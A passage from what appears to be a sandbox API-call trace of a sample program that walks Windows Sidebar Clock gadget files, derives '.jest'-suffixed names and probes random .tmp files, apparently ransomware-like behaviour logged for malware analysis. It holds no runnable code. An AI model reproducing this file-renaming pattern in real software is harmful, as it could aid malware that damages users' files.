lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x46 [0125.365] GetFullPathNameA (in: lpFileName="Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp", lpFilePart=0x18e6e4*="Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp") returned 0x8f [0125.365] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vrngdn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x676e7256, cFileName="dn8JZsZGKq6ma0GTueIdj6RQGq-u cLCKrZUSBUmFAJtJHYkRSZTsgcDE-TbkSTJFH8f_qRgfzKBJTkxvtP_b1YEgD5mF_jqw.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.365] GetLastError () returned 0x2 [0125.365] GetLastError () returned 0x2 [0125.366] SetLastError (dwErrCode=0x2) [0125.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.366] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.367] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e870*="clock.css") returned 0x4f [0125.424] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css.jest", lpFilePart=0x18e870*="clock.css.jest") returned 0x54 [0125.427] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e6d8*="clock.css") returned 0x4f [0125.427] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x78, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 0x143ce48 [0125.427] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.427] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e780*="clock.css") returned 0x4f [0125.428] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e780*="clock.css") returned 0x4f [0125.428] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.428] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x1b5)) [0125.428] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x1b5)) [0125.428] GetUserDefaultLCID () returned 0x409 [0125.428] VarBstrFromR4 (in: fltIn=0x479444b8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.44") returned 0x0 [0125.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0125.429] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e780*="clock.css") returned 0x4f [0125.429] GetFullPathNameA (in: lpFileName="gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp", lpFilePart=0x18e708*="gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp") returned 0x8f [0125.430] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e708*="clock.css") returned 0x4f [0125.430] GetFullPathNameA (in: lpFileName="gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp", lpFilePart=0x18e6e4*="gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp") returned 0x8f [0125.430] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gJPcBaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63504a67, cFileName="BaDt5EgMONcKe0ka18lz-uxxCvvhiXBhuylg 7tdvpS ldXytkq47gCpIJDkSEf1j3gWb7OFnm KvckzoxBeLnZ_1YiP2gMuD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.430] GetLastError () returned 0x2 [0125.430] GetLastError () returned 0x2 [0125.430] SetLastError (dwErrCode=0x2) [0125.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.431] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.431] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e870*="clock.css") returned 0x49 [0125.622] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css.jest", lpFilePart=0x18e870*="clock.css.jest") returned 0x4e [0125.624] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e6d8*="clock.css") returned 0x49 [0125.624] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x78, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 0x143ce48 [0125.625] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.625] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e780*="clock.css") returned 0x49 [0125.626] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e780*="clock.css") returned 0x49 [0125.626] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.626] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x1f3)) [0125.626] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x1f3)) [0125.626] GetUserDefaultLCID () returned 0x409 [0125.626] VarBstrFromR4 (in: fltIn=0x479444c0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.5") returned 0x0 [0125.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="#") returned 1 [0125.627] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e780*="clock.css") returned 0x49 [0125.628] GetFullPathNameA (in: lpFileName="KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp", lpFilePart=0x18e708*="KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp") returned 0x8d [0125.628] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css", lpFilePart=0x18e708*="clock.css") returned 0x49 [0125.628] GetFullPathNameA (in: lpFileName="KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp", lpFilePart=0x18e6e4*="KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp") returned 0x8d [0125.628] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KDBFt0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4642444b, cFileName="t0B5J8b5FxzctlJD8kQ7mHnA3dsQ00swpeqZyiFWkrFrBOgFuUxe2zHyHdEVg_mFTmpsd3bJBaThToJu9NDWDV4V1O8-whY.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.629] GetLastError () returned 0x2 [0125.629] GetLastError () returned 0x2 [0125.629] SetLastError (dwErrCode=0x2) [0125.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.629] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.629] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e870*="settings.css") returned 0x52 [0125.633] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css.jest", lpFilePart=0x18e870*="settings.css.jest") returned 0x57 [0125.635] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x52 [0125.635] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x78, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0125.635] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.636] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e780*="settings.css") returned 0x52 [0125.636] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e780*="settings.css") returned 0x52 [0125.637] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.637] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x203)) [0125.637] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x203)) [0125.637] GetUserDefaultLCID () returned 0x409 [0125.637] VarBstrFromR4 (in: fltIn=0x479444c2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.52") returned 0x0 [0125.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="â") returned 1 [0125.638] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e780*="settings.css") returned 0x52 [0125.638] GetFullPathNameA (in: lpFileName="D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp", lpFilePart=0x18e708*="D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp") returned 0x8f [0125.639] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x52 [0125.639] GetFullPathNameA (in: lpFileName="D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp", lpFilePart=0x18e6e4*="D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp") returned 0x8f [0125.639] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D0I49a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x34493044, cFileName="9a9rDr2K6EIHBokDJJEbQr7694EAxWfx7tta1dCBhwD_4m6iCnq3CwKER9P5JDY ZKNX7QLacIOHzTCy4iOjjqPF3UvcadOUB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.639] GetLastError () returned 0x2 [0125.639] GetLastError () returned 0x2 [0125.639] SetLastError (dwErrCode=0x2) [0125.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.640] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.640] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e870*="settings.css") returned 0x4c [0125.667] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css.jest", lpFilePart=0x18e870*="settings.css.jest") returned 0x51 [0125.669] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x4c [0125.669] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: 